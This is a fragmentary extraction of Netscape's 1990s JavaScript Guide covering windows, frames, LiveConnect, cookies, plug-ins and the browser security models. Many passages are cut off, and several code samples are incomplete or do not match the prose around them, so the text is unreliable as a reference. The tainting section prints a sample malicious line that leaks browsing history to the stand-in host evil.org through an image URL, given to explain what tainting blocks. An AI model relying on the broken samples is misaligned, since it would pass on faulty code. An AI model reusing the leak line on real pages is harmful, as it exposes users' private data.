• preference lets you use a signed script to get or set various user
preferences (Navigator 4.0 only)
62 JavaScript Guide
Navigator’s Object Arrays
If you need to refer to this form element by name, you can specify
document.forms["Comments"].
64 JavaScript Guide
Chapter
JavaScript lets you create and manipulate windows and frames for presenting
HTML content. The window object is the top-level object in the JavaScript client
hierarchy; Frame objects are similar to window objects, but correspond to “sub-
windows” created with the FRAME tag in a FRAMESET document.
Note The JavaScript Guide has not been updated to include information about
layers. Layers are new to JavaScript 1.2. For information on layers, see
Dynamic HTML in Netscape Communicator1.
1. http://developer.netscape.com/library/documentation/communicator/dynhtml/
index.htm
Opening a Window
You can create a window with the open method. The following statement
creates a window called msgWindow that displays the contents of the file
sesame.html:
msgWindow=window.open("sesame.html")
The following statement creates a window called homeWindow that displays the
Netscape home page:
homeWindow=window.open("http://home.netscape.com")
Windows can have two names. The following statement creates a window with
two names. The first name, msgWindow, is a variable that refers to the window
object. This object has information on the window’s properties, methods, and
containership. When you create the window, you can also supply a second
name, in this case displayWindow, to refer to that window as the target of a
form submit or hypertext link.
msgWindow=window.open("sesame.html","displayWindow")
A window name is not required when you create a window. But the window
must have a name if you want to refer to it from another window.
When you open a window, you can specify attributes such as the window’s
height and width and whether the window contains a toolbar, location field, or
scrollbars. The following statement creates a window without a toolbar but with
scrollbars:
msgWindow=window.open
("sesame.html","displayWindow","toolbar=no,scrollbars=yes")
Closing a Window
You can close a window with the close method. You cannot close a frame
without closing the entire parent window.
66 JavaScript Guide
Using Frames
Do not use the third form, close(), in an event handler. Because of how
JavaScript figures out what object a method call refers to, inside an event
handler it will get the wrong object.
Using Frames
A frameset is a special type of window that can display multiple,
independently scrollable frames on a single screen, each with its own distinct
URL. The frames in a frameset can point to different URLs and be targeted by
other URLs, all within the same window. The series of frames in a frameset
make up an HTML page.
Figure 4.1 depicts a window containing three frames. The frame on the left is
named listFrame; the frame on the right is named contentFrame; the frame
on the bottom is named navigateFrame.
Creating a Frame
You create a frame by using the FRAMESET tag in an HTML document; this tag’s
sole purpose is to define the frames in a page.
Figure 4.2 shows the hierarchy of the frames. All three frames have the same
parent, even though two of the frames are defined within a separate frameset.
This is because a frame’s parent is its parent window, and a frame, not a
frameset, defines a window.
68 JavaScript Guide
Using Frames
listFrame (category.html)
contentFrame (titles.html)
navigateFrame (navigate.html)
You can refer to the previous frames using the frames array as follows. (For
information on the frames array, see the Window object in the JavaScript
Reference.)
• listFrame is top.frames[0]
• contentFrame is top.frames[1]
• navigateFrame is top.frames[2]
Example 2. Alternatively, you could create a window like the previous one but
in which the top two frames have a parent separate from navigateFrame. The
top-level frameset would be defined as follows:
<FRAMESET ROWS="90%,10%">
<FRAME SRC=muskel3.html NAME="upperFrame">
<FRAME SRC=navigate.html NAME="navigateFrame">
</FRAMESET>
The file muskel3.html contains the skeleton for the upper frames and defines
the following frameset:
<FRAMESET COLS="30%,70%">
<FRAME SRC=category.html NAME="listFrame">
<FRAME SRC=titles.html NAME="contentFrame">
</FRAMESET>
Figure 4.3 shows the hierarchy of the frames. upperFrame and navigateFrame
share a parent: the top window. listFrame and contentFrame share a
parent: upperFrame.
You can refer to the previous frames using the frames array as follows. (For
information on the frames array, see the Window object in the JavaScript
Reference.)
• upperFrame is top.frames[0]
• navigateFrame is top.frames[1]
• listFrame is upperFrame.frames[0] or top.frames[0].frames[0]
• contentFrame is upperFrame.frames[1] or top.frames[0].frames[1]
Updating a Frame
You can update the contents of a frame by using the location property to set
the URL, as long as you specify the frame hierarchy.
For example, suppose you are using the frameset described in Example 2 in the
previous section. If you want users to be able to close the frame containing the
alphabetical or categorical list of artists (in the frame listFrame) and view only
the music titles sorted by musician (currently in the frame contentFrame), you
could add the following button to navigateFrame:
<INPUT TYPE="button" VALUE="Titles Only"
onClick="top.frames[0].location='artists.html'">
When a user clicks this button, the file artists.html is loaded into the frame
upperFrame; the frames listFrame and contentFrame close and no longer
exist.
70 JavaScript Guide
Using Frames
The file category.html (the categorical list) contains code similar to the
following:
<B>Music Club Artists</B>
<P><B>Jazz</B>
<LI><A HREF=titles.html#0001 TARGET="contentFrame">Toshiko Akiyoshi</A>
<LI><A HREF=titles.html#0006 TARGET="contentFrame">John Coltrane</A>
<LI><A HREF=titles.html#0007 TARGET="contentFrame">Miles Davis</A>
<LI><A HREF=titles.html#0010 TARGET="contentFrame">Dexter Gordon</A>
<P><B>Soul</B>
<LI><A HREF=titles.html#0003 TARGET="contentFrame">Betty Carter</A>
The file alphabet.html (the alphabetical list) contains code similar to the
following:
<B>Music Club Artists</B>
<LI><A HREF=titles.html#0001 TARGET="contentFrame">Toshiko Akiyoshi</A>
<LI><A HREF=titles.html#0002 TARGET="contentFrame">The Beatles</A>
<LI><A HREF=titles.html#0003 TARGET="contentFrame">Betty Carter</A>
<LI><A HREF=titles.html#0004 TARGET="contentFrame">Ray Charles</A>
...
The file navigate.html (the navigational links at the bottom of the screen)
contains code similar to the following. Notice that the target for artists.html
is “_parent.” When the user clicks this link, the entire window is overwritten,
because the top window is the parent of navigateFrame.
<A HREF=alphabet.html TARGET="listFrame"><B>Alphabetical</B></A>
   
<A HREF=category.html TARGET="listFrame"><B>By category</B></A>
   
<A HREF="artists.html" TARGET="_parent">
<B>Musician Descriptions</B></A>
The file titles.html (the main file, displayed in the frame on the right)
contains code similar to the following:
<A NAME="0001"><H3>Toshiko Akiyoshi</H3></A>
<P>Interlude
Because the window object is the top-level object in the JavaScript client
hierarchy, the window is essential for specifying the containership of objects in
any window.
72 JavaScript Guide
Referring to Windows and Frames
• self or window: self and window are synonyms for the current window,
and you can use them optionally to refer to the current window. For
example, you can close the current window by calling either
window.close() or self.close().
• top or parent: top and parent are also synonyms that you can use in
place of the window name. top can be used for any window; it refers to
the topmost Navigator window. parent can be used for a frame; it refers to
the frameset window that contains that frame. For example, for the frame
frame1, the statement parent.frame2.document.bgColor="teal"
changes the background color of the frame named frame2 to teal, where
frame2 is a sibling frame in the current frameset.
• Omit the window name: Because the existence of the current window is
assumed, you do not have to refer to the name of the window when you
call its methods and assign its properties. For example, close() closes the
current window. However, when you open or close a window within an
event handler, you must specify window.open() or window.close()
instead of simply using open() or close(). Because of the scoping of
static objects in JavaScript, a call to close() without specifying an object
name is equivalent to document.close().
For more information on these techniques for referring to windows, see the
Window object in the JavaScript Reference.
74 JavaScript Guide
Navigating among Windows and Frames
'resizable=no,width=200,height=200')">
<P>
<A HREF="doc2.html" TARGET="window2"> Load a file into window2</A>
<P>
<INPUT TYPE="button" VALUE="Close Second Window"
onClick="msgWindow.close()">
</FORM>
If the user selects the Open Second Window button first and then the link,
Communicator opens the small window specified in the button and then loads
doc2.html into it.
On the other hand, if the user selects the link before creating window2 with the
button, then Communicator creates window2 with the default parameters and
loads doc2.html into that window. If the user later clicks the Open Second
Window button, Communicator changes the parameters of the already open
window to match those specified in the event handler.
You navigate among frames the same way as you navigate among windows.
76 JavaScript Guide
Chapter
LiveConnect
5
For reference material on the Netscape packages, see the JavaScript Reference.
For the HTML syntax required to add applets and plug-ins to your web page,
see the Applet and Plugin objects in the JavaScript Reference.
Chapter 5, LiveConnect 77
Enabling LiveConnect
Enabling LiveConnect
LiveConnect is enabled by default in Navigator 3.0 and later. For LiveConnect to
work, both Java and JavaScript must be enabled. To confirm they are enabled,
choose Preferences from the Edit and display the Advanced section.
You can use the Java Console to present messages to users, or to trace the
values of variables at different places in a program’s execution.
For example, the following Java code displays the message “Hello, world!” in
the Java Console:
public void init() {
System.out.println("Hello, world!")
}
You can use the Java Console to present messages to users, or to trace the
values of variables at different places in a program’s execution. Note that most
users probably do not display the Java Console.
78 JavaScript Guide
About the Netscape Packages
The new java and sun packages replace packages in the Sun 1.0.2 Java
Development Kit (JDK) classes.zip. These packages have been tested by
Sun, and similar security enhancements will be implemented in future releases
of the Sun JDK. Use these packages until the Sun JDK provides these security
enhancements.
These packages are not documented because they are implemented in the
same way as the original Sun packages.
Chapter 5, LiveConnect 79
JavaScript to Java Communication
See the Sun JDK documentation for more information about CLASSPATH.
In JavaScript, Java packages and classes are properties of the Packages object.
Use Java syntax to refer to Java objects in JavaScript, with the name of the
Packages object optionally prepended:
[Packages.]packageName.className.methodName
The name Packages is optional for java, sun, and netscape packages; in
code, java, sun, and netscape are aliases for Packages.java,
Packages.sun, and Packages.netscape. For example, you can refer to the
Java class java.lang.System as either Packages.java.lang.System or as
java.lang.System in your code. The name Packages is required for other
packages.
Access fields and methods in a class with the same syntax that you use in Java.
For example, the following JavaScript code prints a message to the Java
Console:
80 JavaScript Guide
JavaScript to Java Communication
The first line in this example makes the JavaScript variable System refer to the
class java.lang.System. The second line invokes the println method of the
static variable err in the Java System class. Because println expects a
java.lang.String argument, the JavaScript string is automatically converted
to a java.lang.String.
You can even use Java class constructors in JavaScript. For example, the
following JavaScript code creates a Java Date object and prints it to the Java
Console.
var mydate = new java.util.Date()
System.out.println(myDate)
Referring to Applets
Each applet in a document is reflected in JavaScript as document.appletName,
where appletName is the value of the NAME attribute of the <APPLET> tag. The
applets array also contains all the applets in a page; you can refer to elements
of the array through the applet name (as in an associative array) or by the
ordinal number of the applet on the page (starting from zero).
Chapter 5, LiveConnect 81
JavaScript to Java Communication
The following HTML runs and displays the applet, and names it “HelloWorld”
(with the NAME attribute):
<APPLET CODE="HelloWorld.class" NAME="HelloWorld" WIDTH=150 HEIGHT=25>
</APPLET>
If this is the first applet in the document (topmost on the page), you can refer
to it in JavaScript in any of the following ways:
document.HelloWorld
document.applets["HelloWorld"]
document.applets[0]
All public variables declared in an applet, and its ancestor classes and packages
are available in JavaScript. Static methods and properties declared in an applet
are available to JavaScript as methods and properties of the Applet object. You
can get and set property values, and you can call methods that return string,
numeric, and boolean values.
• Override its init method so that it declares and initializes a string called
myString.
82 JavaScript Guide
JavaScript to Java Communication
Making the message string a variable allows you to modify it from JavaScript.
Now modify the HTML file as follows:
• Make the onClick event handler for the button call the setString method
of HelloWorld with the string from the text field as its argument.
<FORM NAME="form1">
<INPUT TYPE="button" VALUE="Set String"
onClick="document.HelloWorld.setString(document.form1.str.value)">
<BR>
<INPUT TYPE="text" SIZE="20" NAME="str">
</FORM>
When you compile the HelloWorld applet, and load the HTML page into
Navigator, you initially see “Hello, World!” displayed in the gray applet panel.
However, you can now change it by entering text in the text field and clicking
on the button. This demonstrates controlling an applet from JavaScript.
Chapter 5, LiveConnect 83
JavaScript to Java Communication
<FORM NAME=colorText>
<P>Enter new text for the flashing display:
<INPUT TYPE="text"
NAME="textBox"
LENGTH=50>
</FORM>
This applet uses the public method setString to specify the text for the
flashing string that appears. In the HTML form, the onClick event handler of
the button lets a user change the “Hello, world!” string that the applet initially
displays by calling the setString method.
In this code, colorText is the name of the HTML form and textBox is the
name of the text field. The event handler passes the value that a user enters in
the text field to the setString method in the Java applet.
84 JavaScript Guide
JavaScript to Java Communication
If this HTML defines the first plug-in in a document, you can access it in any of
the following ways:
document.embeds[0]
document.embeds["myEmbed"]
document.myEmbed
• Strings, numbers and Boolean values are converted to Java String, Float,
and Boolean objects respectively.
1. http://developer.netscape.com/library/documentation/communicator/plugin/
index.htm
Chapter 5, LiveConnect 85
Java to JavaScript Communication
This means that all JavaScript values appear in Java as objects of class
java.lang.Object. To use them, you generally will have to cast them to the
appropriate subclass of Object, for example:
(String) window.getMember("name");
(JSObject) window.getMember("document");.
86 JavaScript Guide
Java to JavaScript Communication
For example, the following Java code allows you to access the JavaScript object
document.testForm through the variable myForm:
public void init() {
win = JSObject.getWindow(this);
myForm=win.eval("document.testForm")
}
Chapter 5, LiveConnect 87
Java to JavaScript Communication
For example, the following Java code uses eval to call the JavaScript alert
method when a MouseUp event occurs:
public void init() {
JSObject win = JSObject.getWindow(this);
}
Another way to call JavaScript methods is with the call method of JSObject.
Use the following to call a JavaScript method from Java when you want to pass
Java objects as arguments:
JSObject.call(methodName, argArray)
If you want to pass primitive values to a JavaScript method, you must use the
Java object wrappers (such as Integer, Float, and Boolean), and then
populate an Array with such objects.
88 JavaScript Guide
Java to JavaScript Communication
Then add the MAYSCRIPT attribute to the <APPLET> tag in the HTML page,
recompile the applet, and try it. Each time the applet is painted (when it is
initialized, when you enter a new text value, and when the page is reloaded) a
JavaScript alert box is displayed. This is a simple illustration of calling JavaScript
from Java.
Note You may have to reload the HTML page by choosing Open Page from the File
menu instead of clicking the Reload button, to ensure that the applet is re-
initialized.
This simple function displays an alert dialog box containing the name and
version of the client software being used. Then modify the init method in
your Java code similarly to how you modified paint:
public void init() {
myString = new String("Hello, world!")
JSObject win = JSObject.getWindow(this)
String args2[] = {""}
win.call("test", args2)
}
Notice that args2 is declared as an array with no elements, even though the
method does not take any arguments. When you recompile the applet and
reload the HTML page (and reinitialize the applet), a JavaScript alert dialog box
will display the version of Navigator you are running. This is a simple
illustration of calling a user-defined function from Java.
Chapter 5, LiveConnect 89
Java to JavaScript Communication
• Java byte, char, short, int, long, float, and double are converted to JavaScript
numbers.
90 JavaScript Guide
Chapter
Advanced Topics
6
This chapter describes some special concepts and applications that extend the
power and flexibility of Navigator JavaScript.
to reload the current page when the user clicks it. In general, you can put any
statements or function calls after the javascript: URL prefix.
You can use JavaScript URLs in many ways to add functionality to your
applications. For example, you could increment a counter p1 in a parent frame
whenever a user clicks a link, using the following function:
function countJumps() {
parent.p1++
window.location=page1
}
Instead of standard URLs, you can also use JavaScript URLs in client-side image
maps, for example,
<MAP NAME="buttonbar">
<AREA SHAPE="RECT" COORDS="0,0,16,14"
HREF ="javascript:top.close(); window.location = newnav.html">
<AREA SHAPE="RECT" COORDS="0,0,85,46"
HREF="contents.html" target="javascript:alert(‘Loading
Contents.’); top.location = contents.html">
</MAP>
92 JavaScript Guide
Using Server-Side Image Maps
When you click an image with the ISMAP attribute, Navigator requests a URL of
the form
URL?x,y
where URL is the document specified by the value of the HREF attribute, and x
and y are the horizontal and vertical coordinates of the mouse pointer (in
pixels from the top-left of the image) when you clicked. (The “about:logo”
image is built in to Navigator and displays the Netscape logo.)
When you click a part of the image, Navigator reloads the page (because the
HREF attribute specifies the same document), adding the x and y coordinates of
the mouse click to the URL. The statements in the else clause then display the
x and y coordinates. In practice, you could redirect to another page (by setting
location) or perform some other action based on the values of x and y.
You can set these properties to display custom messages. For example, to
display a custom message after the document has finished loading, simply set
defaultStatus. For example,
defaultStatus = "Some rise, some fall, some climb...to get to Terrapin"
This example displays the hint “Click to display contents” in the status bar
when you move the mouse pointer over the link.
Using Cookies
Netscape cookies are a mechanism for storing persistent data on the client in a
file called cookies.txt. Because HyperText Transport Protocol (HTTP) is a
stateless protocol, cookies provide a way to maintain information between
94 JavaScript Guide
Using Cookies
client requests. This section discusses basic uses of cookies and illustrates with
a simple example. For a complete description of cookies, see Appendix C,
“Netscape Cookies.”.
Each cookie is a small item of information with an optional expiration date and
is added to the cookie file in the following format:
name=value;expires=expDate;
name is the name of the datum being stored, and value is its value. If name and
value contain any semicolon, comma, or blank (space) characters, you must
use the escape function to encode them and the unescape function to decode
them.
Although it’s slightly different from this format, the date string returned by the
Date method toGMTString can be used to set cookie expiration dates.
For more information on escape and unescape, see the JavaScript Reference.
Limitations
Cookies have these limitations:
• 4 Kbytes per cookie, for the sum of both the cookie’s name and value.
Cookies can be associated with one or more directories. If your files are all in
one directory, then you need not worry about this. If your files are in multiple
directories, you may need to use an additional path parameter for each cookie.
For more information, see Appendix C, “Netscape Cookies.”
The following function returns a cookie value, given the name of the cookie:
function getCookie(Name) {
var search = Name + "="
if (document.cookie.length > 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset)
// set index of end of cookie value
if (end == -1)
end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}
Notice the use of unescape to decode special characters in the cookie value.
96 JavaScript Guide
Using Cookies
You need to define one additional function in the HEAD of the document. This
function, register, creates a cookie with the name TheCoolJavaScriptPage
and the value passed to it as an argument.
function register(name) {
var today = new Date()
var expires = new Date()
expires.setTime(today.getTime() + 1000*60*60*24*365)
setCookie("TheCoolJavaScriptPage", name, expires)
}
The BODY of the document uses getCookie (defined in the previous section)
to check whether the cookie for TheCoolJavaScriptPage exists and displays
a greeting if it does. Then there is a form that calls register to add a cookie.
The onClick event handler also calls history.go(0) to redraw the page.
<BODY>
<H1>Register Your Name with the Cookie-Meister</H1>
<P>
<SCRIPT>
var yourname = getCookie("TheCoolJavaScriptPage")
if (yourname != null)
document.write("<P>Welcome Back, ", yourname)
else
document.write("<P>You haven't been here in the last year...")
</SCRIPT>
<P> Enter your name. When you return to this page within a year, you
will be greeted with a personalized greeting.
<BR>
<FORM onSubmit=”return false”>
Enter your name: <INPUT TYPE="text" NAME="username" SIZE= 10><BR>
<INPUT TYPE="button" value="Register"
onClick="register(this.form.username.value); history.go(0)">
</FORM>
The navigator object has two properties for checking installed plug-ins: the
mimeTypes array and the plugins array.
mimeTypes Array
mimeTypes is an array of all MIME types supported by the client (either
internally, via helper applications, or by plug-ins). Each element of the array is
a MimeType object, which has properties for its type, description, file
extensions, and enabled plug-ins.
For example, Table 6.1 summarizes the values for displaying JPEG images:
Table 6.1 MimeType property values for JPEG images
Expression Value
navigator.mimeTypes["image/jpeg"].type image/jpeg
navigator.mimeTypes["image/jpeg"].enabledPlugin null
The following script checks to see whether the client is capable of displaying
QuickTime movies.
var myMimetype = navigator.mimeTypes["video/quicktime"]
if (myMimetype)
document.writeln("Click <A HREF='movie.qt'>here</A> to see a " +
myMimetype.description)
98 JavaScript Guide
Determining Installed Plug-ins
else
document.writeln("Too bad, can't show you any movies.")
plugins Array
plugins is an array of all plug-ins currently installed on the client. Each
element of the array is a Plugin object, which has properties for its name, file
name, and description as well as an array of MimeType objects for the MIME
types supported by that plug-in. The user can obtain a list of installed plug-ins
by choosing About Plug-ins from the Help menu. For example, Table 6.2
summarizes the values for the LiveAudio plug-in:
Table 6.2 Plugin property values for the LiveAudio plug-in
Expression Value
navigator.plugins['LiveAudio'].name LiveAudio
navigator.plugins['LiveAudio'].filename d:\nettools\netscape\nav30\
Program\plugins\NPAUDIO.DLL
navigator.plugins['LiveAudio'].length 7
Expression Value
navigator.plugins['LiveAudio'][1].type audio/x-aiff
navigator.plugins['LiveAudio'][1].description AIFF
navigator.plugins['LiveAudio'][1].enabledPlugin.name LiveAudio
The following script checks to see whether the Shockwave plug-in is installed
and displays an embedded Shockwave movie if it is:
JavaScript Security
7
Navigator version 2.0 and later automatically prevents scripts on one server
from accessing properties of documents on a different server. This restriction
prevents scripts from fetching private information such as directory structures
or user session history.
This chapter describes the security models of the JavaScript language for
Navigator 2.0 and later releases. This model was extended significantly
between the Navigator 3.0 and Navigator 4.0 releases.
In all releases, the same origin policy is the default policy. The policy restricts
getting or setting properties based on document server and is described in
“Same Origin Policy” on page 102.
In Navigator 3.0, you could use data tainting to get access to additional
information. “Using Data Tainting in Navigator 3.0” on page 104 describes data
tainting.
Navigator 4.0 removes data tainting and instead adds the signed script policy.
This new policy for JavaScript is based upon the new Java security model,
called object signing. To make use of the new policy in JavaScript, you must
use the new Java security classes and then sign your JavaScript scripts. “Using
Signed Scripts in Navigator 4.0” on page 109 describes signed scripts.
Here, Navigator defines the origin as the substring of a URL that includes
protocol://host where host includes the optional :port part. To illustrate,
Table 7.1 gives examples of origin comparisons to the URL http://
company.com/dir/page.html.
Table 7.1 Same origin comparisons
There is one exception to the same origin rule. A script can set the value of
document.domain to a suffix of the current domain. If it does so, the shorter
domain is used for subsequent origin checks. For example, assume a script in
the document at http://www.company.com/dir/other.html executes this
statement:
document.domain = "company.com";
After execution of that statement, the page would pass the origin check with
http://company.com/dir/page.html.
Table 7.2 lists the properties that can be accessed only by scripts that pass the
same origin check.
Table 7.2 Properties subject to origin check
Object Properties
image lowsrc, src
layer src
Object Properties
location All except x and y
window find
document For both read and write: anchors, applets, cookie, domain,
elements, embeds, forms, lastModified, length, links,
referrer, title, URL, formName (for each named form),
reflectedJavaClass (for each Java class reflected into JavaScript
using LiveConnect)
For write only: all other properties
Named forms
In Navigator 3.0, named forms were not subject to an origin check even though
the document.forms array was. In Navigator 4.0, named forms are also subject
to an origin check. This can cause existing code to break.
You can easily work around the resulting security errors. To do so, create a
new variable as a property of the window object, setting the named form as the
value of the variable. You can then access that variable (and hence the form)
through the window object.
File: URLs
Prior to Navigator 4.0, when you use <SCRIPT SRC="..."> to load a JavaScript
file, the URL specified in the SRC attribute could be any URL type (file:,
http:, and so on), regardless of the URL type of the file that contained the
SCRIPT tag.
In Navigator 4.0, if you load a document with any URL other than a file: URL,
and that document itself contains a <SCRIPT SRC="..."> tag, the internal SRC
attribute can’t refer to another file: URL.
To get the 3.0 behavior in 4.0, users can add the following line to their
preferences file:
user_pref("javascript.allow.file_src_from_non_file", true);
1. http://developer.netscape.com/library/documentation/communicator/dynhtml/
index.htm
• When data tainting is enabled, JavaScript in one window can see properties
of another window, no matter what server the other window’s document
was loaded from. However, the author of the other window taints (marks)
property values or other data that should be secure or private, and
JavaScript cannot pass these tainted values on to any server without the
user’s permission.
You can use tainted data elements any way you want in your script, but if your
script attempts to pass a tainted element’s value or any data derived from it
over the network in any way (for example, via a form submission or URL), a
dialog box is displayed so the user can confirm or cancel the operation.
Values derived from tainted data elements are also tainted. If a tainted value is
passed to a function, the return value of the function is tainted. If a string is
tainted, any substring of the string is also tainted. If a script examines a tainted
value in an if, for, or while statement, the script itself accumulates taint.
You can taint and untaint properties, variables, functions, and objects, as
described in “Tainting and Untainting Individual Data Elements” on page 107.
You cannot untaint another server’s properties or data elements.
Enabling Tainting
To enable data tainting, the end user sets the NS_ENABLE_TAINT environment
variable as follows:
• On Macintosh, edit the resource with type “Envi” and number 128 in the
Netscape application by removing the two ASCII slashes “//” before the
NS_ENABLE_TAINT text at the end of the resource.
If the end user does not enable tainting and a script attempts to access
properties of a window on another server, a message is displayed indicating
that access is not allowed.
You control the tainting of data elements with two functions: taint adds
tainting to a data element, and untaint removes tainting from a data element.
These functions each take a single data element as an argument.
For example, the following statement removes taint from a property so that a
script can send it to another server:
untaintedStat=untaint(window.defaultStatus)
// untaintedStat can now be sent in a URL or form post by other scripts
Neither taint nor untaint modifies its argument; rather, both functions return
a marked or unmarked reference to the argument object, or copy of the
primitive type value (number or boolean value). The mark is called a taint
code. JavaScript assigns a unique taint code to each server’s data elements.
Untainted data has the identity (null) taint code.
You can add taint to or remove taint from a window’s taint accumulator.
• To add taint to a window, call taint with no argument. JavaScript adds the
current document’s taint code to the accumulator.
If a window’s taint accumulator holds taint and the script attempts to pass data
over the network, the taint codes in the accumulator are checked. Only if the
accumulated script taint, the taint code of the targeted server, and the taint code
of the data being sent are compatible will the operation proceed. Compatible
means that either two taint codes are equal, or at least one is identity (null). If
the script, server, and data taints are incompatible, a dialog box is displayed so
the user can confirm or cancel the URL load or form post.
Accumulated taint propagates across setTimeout and into the evaluation of the
first argument to setTimeout. It propagates through document.write into
generated tags, so that a malicious script cannot signal private information such
as session history by generating an HTML tag with an implicitly-loaded URL SRC
parameter such as the following:
document.write("<IMG SRC=http://evil.org/cgi.bin/fake-img?" +
encode(history) + ">")
This document describes the security model used by JavaScript in Navigator 4.x
and provides information on how you can use the new security features to
create signed JavaScript scripts.
• The same origin policy is the default policy. It dates from Navigator 2.0,
with necessary coverage fixes in Navigator 2.01 and Navigator 2.02.
• The signed script policy is new to Navigator 4.0. This new policy for
JavaScript is based upon the new Java security model, called object signing.
To make use of the new policy in JavaScript, you must use the new Java
security classes and then sign your JavaScript scripts.
Once you have written the script, you sign it using Netscape’s Page Signer tool.
Page Signer associates a digital signature with the scripts on an HTML page.
That digital signature is owned by a particular principal (a real-world entity
such as Netscape or John Smith). A single HTML page can have scripts signed
by different principals. The digital signature is placed in a Java Archive (JAR)
file. If you sign an inline script, event handler, or JavaScript entity, Page Signer
stores only the signature and the identifier for the script in the JAR file. If you
sign a JavaScript file with Page Signer, it stores the source in the JAR file as
well.
The associated principal allows the user to confirm the validity of the certificate
used to sign the script. It also allows the user to ensure that the script hasn’t
been tampered with since it was signed. The user then can decide whether to
grant privileges based on the validated identity of the certificate owner and
validated integrity of the script.
You should always keep in mind that a user may deny the privileges requested
by your script. You should write your scripts to react gracefully to such
decisions.
This document assumes that you are already familiar with the basic principles
of object signing, using the Java Capabilities API, and creating digital signatures.
The following documents provide information on these subjects:
• Java Capabilities API3 introduces the Java API used for object signing and
provides details on where to find more information about this API.
• Zigbert User’s Guide4 describes the signing tool for creating signed
JavaScript scripts.
Note Navigator 3.0 provided data tainting to provide a means of secure access to
specific components on a page. Because signed scripts provide greater security
than tainting, tainting has been disabled in Navigator 4.x.
1. http://developer.netscape.com/library/documentation/signedobj/trust/index.htm
2. http://developer.netscape.com/library/documentation/signedobj/capabilities/
index.html
3. http://developer.netscape.com/library/documentation/signedobj/capsapi.html
4. http://developer.netscape.com/library/documentation/signedobj/zigbert/index.htm
5. http://developer.netscape.com/library/documentation/signedobj/overview.html
If you have an SSL server, this is a much simpler way to get your scripts to act
as though they were signed. This is particularly helpful if you dynamically
generate scripts on your server and want them to behave as if signed.
Codebase Principals
As does Java, JavaScript supports codebase principals. A codebase principal is
a principal derived from the origin of the script rather than from verifying a
digital signature of a certificate. Since codebase principals offer weaker security,
they are disabled by default in Navigator.
For deployment, your scripts should not rely on codebase principals being
enabled. You might want to enable codebase principals when developing your
scripts, but you should sign them before delivery.
To enable codebase principals, end users must add the appropriate preference
to their Navigator preference file. To do so, add this line to the file:
user_pref("signed.applets.codebase_principal_support", true);
With codebase principals enabled, when the user accesses the script, a dialog
displays similar to the one displayed with signed scripts. The difference is that
this dialog asks the user to grant privileges based on the URL and doesn’t
provide author verification. It advises the user that the script has not been
digitally signed and may have been tampered with.
1. http://developer.netscape.com/library/documentation/enterprise/mngserv/index.htm
On the other hand, because JavaScript has no concept of public and private
methods, there are no internal methods that could be protected by simply
signing a class. In addition, all methods can be changed at runtime, so must be
protected at runtime.
In JavaScript you can add new properties to existing objects, or replace existing
properties (including methods) at runtime. You cannot do this in Java. So, once
again, protection that is automatic in Java must be handled separately in
JavaScript.
While the signed script security model for JavaScript is based on the object
signing model for Java, these differences in the languages mean that when
JavaScript scripts produced by different principals interact, it is much harder to
protect the scripts. Because all of the JavaScript code on a single HTML page
runs in the same process, different scripts on the same page can change each
other’s behavior. For example, a script might redefine a function defined by an
earlier script on the same page.
To ensure security, the basic assumption of the JavaScript signed script security
model is that mixed scripts on an HTML page operate as if they were all signed
by the intersection of the principals that signed each script.
1. http://developer.netscape.com/library/documentation/signedobj/capabilities/
index.html
For example, assume principals A and B have signed one script, but only
principal A signed another script. In this case, a page with both scripts acts as if
it were signed by only A.
This assumption also means that if a signed script is on the same page as an
unsigned script, both scripts act as if they were unsigned. This occurs because
the signed script has a codebase principal and a certificate principal, whereas
the unsigned script has only a codebase principal. (See “Codebase Principals”
on page 111.) The two codebase principals are always the same for scripts from
the same page; therefore, the intersection of the principals of the two scripts
yields only the codebase principal. This is also what happens if both scripts are
unsigned.
You can use the import and export functions to allow scripts signed by
different principals to interact in a secure fashion. For information on how to
do so, see “Importing and Exporting Functions” on page 124.
If all scripts on a page are signed by the same principals, container checks are
applied to the window. If some scripts in a layer are signed by different
principals, the special container checks apply to the layer. Figure 7.1 illustrates
the method Navigator uses to determine which containers are associated with
which sets of principals.
Intermediate
layer between Defined
JavaScript principals
and window
Layer with
JavaScript Defined
principals
This method works as follows: Consider each script on the page in order of
declaration, treating javascript: URLs as new unsigned scripts.
1. If this is the first script that has been seen on the page, assign this script’s
principals to be the principals for the window. (If the current script is
unsigned, this makes the window’s principal a codebase principal.) Done.
2. If the innermost container (the container directly including the script) has
defined principals, intersect the current script’s principals with the
container’s principals and assign the result to be the principals for the
container. If the two sets of principals are not equal, intersecting the sets
reduces the number of principals associated with the container. Done.
3. Otherwise, find the innermost container that has defined principals. (This
may be the window itself, if there are no intermediate layers.) If the
principals of the current script are the same as the principals of that
container, leave the principals as is. Done.
For example, assume a page has two scripts (and no layers), with one script
signed and the other unsigned. Navigator first sees the signed script, which
causes the window object to be associated with two principals—the certificate
principal from the signer of the script and the codebase principal derived from
the location of the page containing the script.
When Navigator sees the second (unsigned) script, it compares the principals of
that script with the principals of the current container. The unsigned script has
only one principal, the codebase principal. Without layers the innermost
container is the window itself, which already has principals.
Because the sets of principals differ, they are intersected, yielding a set with
one member, the codebase principal. Navigator stores the result on the window
object, narrowing its set of principals. Note that all functions that were defined
in the signed script are now considered unsigned. Consequently, mixing signed
and unsigned scripts on a page without layers results in all scripts being treated
as if they were unsigned.
Now assume the unsigned script is in a layer on the page. This results in
different behavior. In this case, when Navigator sees the unsigned script, its
principals are again compared to those of the signed script in the window and
the principals are found to be different. However, now that the innermost
container (the layer) has no associated principals, the unsigned principals are
associated with the innermost container; the outer container (the window) is
untouched. In this case, signed scripts continue to operate as signed. However,
accesses by the unsigned script in the layer to objects outside the layer are
